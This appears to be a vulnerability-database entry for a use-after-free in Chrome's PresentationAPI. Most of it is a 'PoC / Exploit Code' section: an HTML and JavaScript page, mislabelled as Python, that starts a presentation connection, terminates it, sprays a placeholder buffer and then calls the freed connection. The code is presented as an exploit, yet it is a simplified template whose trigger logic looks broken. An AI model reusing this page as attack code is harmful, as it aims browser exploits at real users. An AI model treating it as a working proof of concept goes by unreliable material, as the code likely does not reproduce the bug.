Use after free in PresentationAPI in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 148.0.7778.96
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
Conceptual Proof of Concept (PoC) for CVE-2026-7926
Demonstrates the trigger logic for Use-After-Free in PresentationAPI.
This code is for educational analysis purposes only.
-->
<html>
<head>
<title>CVE-2026-7926 PoC</title>
</head>
<body>
<script>
// Step 1: Initialize Presentation Request
// Attempting to create a context that utilizes the vulnerable API
const presentationRequest = new PresentationRequest('cast.html');
async function triggerVulnerability() {
try {
console.log("[+] Starting exploit attempt...");
// Step 2: Create and setup the connection object
// This object corresponds to the memory that will be freed
const connection = await presentationRequest.start();
// Step 3: Trigger the Free operation
// Closing or terminating the connection to free the underlying C++ object
connection.terminate();
console.log("[+] Object terminated (freed)");
// Step 4: Heap Grooming (Simplified)
// In a real exploit, heap spraying would be done here to reclaim the freed memory
// with controlled data.
let buffer = new ArrayBuffer(0x1000);
let view = new Uint8Array(buffer);
for(let i=0; i<view.length; i++) view[i] = 0x41; // 'A'
// Step 5: Use-After-Free Trigger
// Attempting to access the terminated connection to trigger the UAF condition
// The browser tries to access the freed memory, leading to a crash or potential RCE
if (connection.state) {
console.log("[!] UAF Triggered: Accessing freed object");
connection.send("Exploit Payload");
}
} catch (error) {
console.log("[-] Error occurred (Expected behavior in PoC): " + error.message);
}
}
// Execute the trigger
triggerVulnerability();
</script>
</body>
</html>